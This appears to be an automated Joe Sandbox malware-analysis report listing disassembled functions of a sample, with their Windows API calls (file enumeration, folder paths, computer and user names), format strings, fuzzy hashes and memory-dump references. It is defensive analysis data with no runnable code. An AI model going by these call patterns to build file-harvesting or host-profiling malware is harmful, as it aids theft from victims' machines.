Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4c057e809f7f6f17f5b382ab9aa096c28a9b69fce05002bb843afb5367da9783
Instruction ID: 4e4a7304a2e180bf28144380044a964ff99222261f802f5d87c9af097065cf3f
Opcode Fuzzy Hash: 4c057e809f7f6f17f5b382ab9aa096c28a9b69fce05002bb843afb5367da9783
Instruction Fuzzy Hash: 5C41CD74A00209EFCB44CF54C594BAEBBB1FF48314F149699E959AB345C732AA82CB84

Function 00ED5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

lstrcat.KERNEL32(?,00000000), ref: 00ED508A
lstrcat.KERNEL32(?,00A9DFA8), ref: 00ED50A8

Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED492C
Part of subcall function 00ED4910: FindFirstFileA.KERNEL32(?,?), ref: 00ED4943

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: beac23c7a567692fbc200b724a3bbac12e5ef77667c4461e9e167a598b4cff94
Instruction ID: 2150cd012478a2bc942524901ebcaa1747594018925821b89ad7b4645610f97c
Opcode Fuzzy Hash: beac23c7a567692fbc200b724a3bbac12e5ef77667c4461e9e167a598b4cff94
Instruction Fuzzy Hash: E701C87690020857C768FB60EC42EEE337CEB54300F0051A9B69963181EEB19BCA8B91

Function 00EC10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00EC10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00EC10F7

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: cfff7aa77af324156223aaa624bba558a0a4e48b5713947d2465e3956fc72ec1
Instruction ID: ba7f5d838f066ffc66f19302fcd4a02512f7d3b569123accf21d9f852d1125a4
Opcode Fuzzy Hash: cfff7aa77af324156223aaa624bba558a0a4e48b5713947d2465e3956fc72ec1
Instruction Fuzzy Hash: 31F0E271A41308BBE7149AA4AD5AFABB7E8E709B15F302458F504E3280D5729F40CBA0

Function 00ED8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00EC1B54,?,?,00EE564C,?,?,00EE0E1F), ref: 00ED8D9F

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bf2a5e94a9079a5b25557a4f075089bdf37ab3fc868d05fb614838c2063a4520
Instruction ID: c5daa1b7441261bf86333ccd324d7235121a40e07cb38da8713a1293adb5890a
Opcode Fuzzy Hash: bf2a5e94a9079a5b25557a4f075089bdf37ab3fc868d05fb614838c2063a4520
Instruction Fuzzy Hash: A0F01570C00208EBCF04EFA4D6496DCBB79EB14314F1092AAE826673C0EB756B46DB81

Function 00ED8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 35b46241fc616b6a7af825cf92cd04c52b690a374e7ca6c893de983c0482c89c
Instruction ID: f9b9121693d4b56a7663198d3b4e19cf6bf168d8cde08fc7741dfec6e52b3323
Opcode Fuzzy Hash: 35b46241fc616b6a7af825cf92cd04c52b690a374e7ca6c893de983c0482c89c
Instruction Fuzzy Hash: 05E0123594034C6BDB51EB50DC96FAD737CDB44B01F004296BA0C5B1C0DE70AB868B91

Function 00EC1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00ED78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7910
Part of subcall function 00ED78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7917
Part of subcall function 00ED78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00ED792F

Part of subcall function 00ED7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EC11B7), ref: 00ED7880
Part of subcall function 00ED7850: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7887
Part of subcall function 00ED7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00ED789F

ExitProcess.KERNEL32 ref: 00EC11C6

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: b9f0b50e322e3d0ba96c6cd156ba1606a406f1a2c9d2f07aa5629837a9c98c28
Instruction ID: a51dbd862047ad33d8b38f73b7a83e2f1fc62558b157d629c3f63c3559d9515c
Opcode Fuzzy Hash: b9f0b50e322e3d0ba96c6cd156ba1606a406f1a2c9d2f07aa5629837a9c98c28
Instruction Fuzzy Hash: F2E0ECA5D1431152CA1873B4BD0AB2A32DC9B15349F08242ABA05A3247FA6AE8428665

Non-executed Functions

Function 00ED38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00ED38CC
FindFirstFileA.KERNEL32(?,?), ref: 00ED38E3
lstrcat.KERNEL32(?,?), ref: 00ED3935
StrCmpCA.SHLWAPI(?,00EE0F70), ref: 00ED3947
StrCmpCA.SHLWAPI(?,00EE0F74), ref: 00ED395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00ED3C67
FindClose.KERNEL32(000000FF), ref: 00ED3C7C

Strings

%s\*, xrefs: 00ED38C0
%s\%s, xrefs: 00ED3A6F
%s\%s\%s, xrefs: 00ED3A4A
%s\%s, xrefs: 00ED397A
%s%s, xrefs: 00ED3AAD

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 7ac2c454bfbc0eadea44051d994ec78a1b970b259d26b7c8f60f9545cfee651d
Instruction ID: fb0125aa11bdbb7c468afaa646c2742b151785b7766c718a5c85c43658a17bf3
Opcode Fuzzy Hash: 7ac2c454bfbc0eadea44051d994ec78a1b970b259d26b7c8f60f9545cfee651d
Instruction Fuzzy Hash: 1EA151B2A003089BDB35DB64DC85FEA73B8FF88300F044599A51DA7145EBB19B85CF62

Function 00ED4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00ED4580
RtlAllocateHeap.NTDLL(00000000), ref: 00ED4587
wsprintfA.USER32 ref: 00ED45A6
FindFirstFileA.KERNEL32(?,?), ref: 00ED45BD
StrCmpCA.SHLWAPI(?,00EE0FC4), ref: 00ED45EB
StrCmpCA.SHLWAPI(?,00EE0FC8), ref: 00ED4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00ED468B
FindClose.KERNEL32(000000FF), ref: 00ED46A0
lstrcat.KERNEL32(?,00A9EB08), ref: 00ED46C5
lstrcat.KERNEL32(?,00A9DA60), ref: 00ED46D8
lstrlen.KERNEL32(?), ref: 00ED46E5
lstrlen.KERNEL32(?), ref: 00ED46F6

Strings

%s\*, xrefs: 00ED459A
%s\%s, xrefs: 00ED461B

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 58e7465617cc9d7d109e6fdaf42ba2204f3945ab7b81fcf9fc35ff0368e23e7d
Instruction ID: 6a47af1b0982da7e60de7ab711326ecdbbb2d2cdfe70f0620c11e4b58d58c233
Opcode Fuzzy Hash: 58e7465617cc9d7d109e6fdaf42ba2204f3945ab7b81fcf9fc35ff0368e23e7d
Instruction Fuzzy Hash: DE5162B69003189BC725EB70EC89FE9737CEF58300F405599B61AA2184EBB59BC5CF91

